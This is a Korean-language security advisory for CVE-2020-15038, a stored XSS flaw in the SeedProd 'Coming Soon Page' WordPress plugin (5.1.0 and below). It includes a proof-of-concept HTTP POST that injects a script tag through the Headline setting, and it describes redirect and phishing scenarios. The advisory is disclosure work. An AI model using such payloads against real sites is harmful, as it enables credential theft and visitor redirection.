워드프레스용 Coming Soon Page, Under Construction & Maintenance Mode by SeedProd 플러그인의 5.1.0 이하 버전에서 저장형(Stored) XSS 취약점이 발견되었습니다. 이 취약점은 플러그인 보안 감사 과정에서 확인되었으며, 데이터 검증(sanitization) 기능이 강화된 5.1.2 버전이 2020년 6월 24일에 배포되었습니다.
CVE ID: CVE-2020-15038
개요
Coming Soon Page, Under Construction & Maintenance Mode by SeedProd는 활성 설치 수가 100만 건을 넘는 인기 워드프레스 플러그인입니다. 이번 감사에서 해당 플러그인에 저장형 크로스 사이트 스크립팅(XSS) 취약점이 존재하는 것으로 확인되었습니다. XSS는 공격자가 피해자의 세션 쿠키나 로그인 자격 증명을 탈취하거나, 피해자를 대신하여 임의의 작업을 수행하고, 키 입력을 몰래 기록하는 등 다양한 악성 행위를 실행할 수 있게 하는 대표적인 웹 취약점입니다.
영향
공격자가 이 취약점을 악용하는 방법은 여러 가지가 있으며, 그중 대표적인 두 가지 시나리오를 소개합니다.
- 강제 리다이렉션(Redirection):
공격자가 XSS 페이로드를 삽입하면, 개발자가 유지보수 모드를 활성화할 때마다 사이트를 방문하는 사용자가 공격자가 관리하는 도메인으로 강제 이동되도록 설정할 수 있습니다. 해당 도메인은 원본 웹사이트와 거의 동일하게 위조되어 로그인 폼이 노출되며, 사용자가 도메인 변경을 눈치채지 못한 채 자격 증명을 입력하면 계정이 그대로 탈취됩니다. - 피싱(Phishing):
마찬가지로 공격자는 페이로드를 활용해 출시 예정/유지보수 모드 페이지 자체에 로그인 폼을 생성하고, 경계심 없는 사용자가 자격 증명을 입력하도록 유도할 수 있습니다.
취약점 상세
플러그인 설정의 Page Settings 섹션에 있는 Headline(헤드라인) 필드를 비롯해 여러 설정 필드에서 저장형 XSS에 취약한 것으로 확인되었습니다. 이 취약점은 출시 예정 페이지가 화면에 표시되는 순간(미리보기 모드와 실제 서비스 페이지 모두)에 트리거됩니다.
POST /wp-admin/options.php HTTP/1.1
Host: localhost:10004
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://localhost:10004/wp-admin/admin.php?page=seed_csp4
Content-Type: application/x-www-form-urlencoded
Content-Length: 636
Origin: https://localhost:10004
Connection: close
Cookie: ...
option_page=seed_csp4_settings_content&action=update&_wpnonce=faced0b8ff&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dseed_csp4&seed_csp4_settings_content%5Bstatus%5D=1&seed_csp4_settings_content%5Blogo%5D=&seed_csp4_settings_content%5Bheadline%5D=%3Cscript%3Ealert%28%22Stored+XSS+in+Page+Headline%22%29%3C%2Fscript%3E&seed_csp4_settings_content%5Bdescription%5D=Proof+of+Concept&seed_csp4_settings_content%5Bfooter_credit%5D=0&submit=Save+All+Changes&seed_csp4_settings_content%5Bfavicon%5D=&seed_csp4_settings_content%5Bseo_title%5D=&seed_csp4_settings_content%5Bseo_description%5D=&seed_csp4_settings_content%5Bga_analytics%5D=
타임라인
2020년 6월 22일 SeedProd 개발팀에 취약점이 보고되었으며,
2020년 6월 24일 해당 취약점이 수정된 5.1.2 버전이 정식 배포되었습니다.
권고 사항
아직 업데이트하지 않았다면 플러그인을 반드시 최신 버전으로 즉시 업데이트하시기 바랍니다. 오래된 버전을 사용 중이라면 사이트가 공격에 노출될 위험이 있습니다.
참고 자료
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15038
- https://nvd.nist.gov/vuln/detail/CVE-2020-15038
- https://wordpress.org/plugins/coming-soon/#developers
- https://wpvulndb.com/vulnerabilities/10283
더 안전한 워드프레스 운영을 위해 아래 보안 가이드를 함께 참고하시기 바랍니다:
- WordPress 보안 가이드
- WordPress 해킹 복구 및 악성코드 제거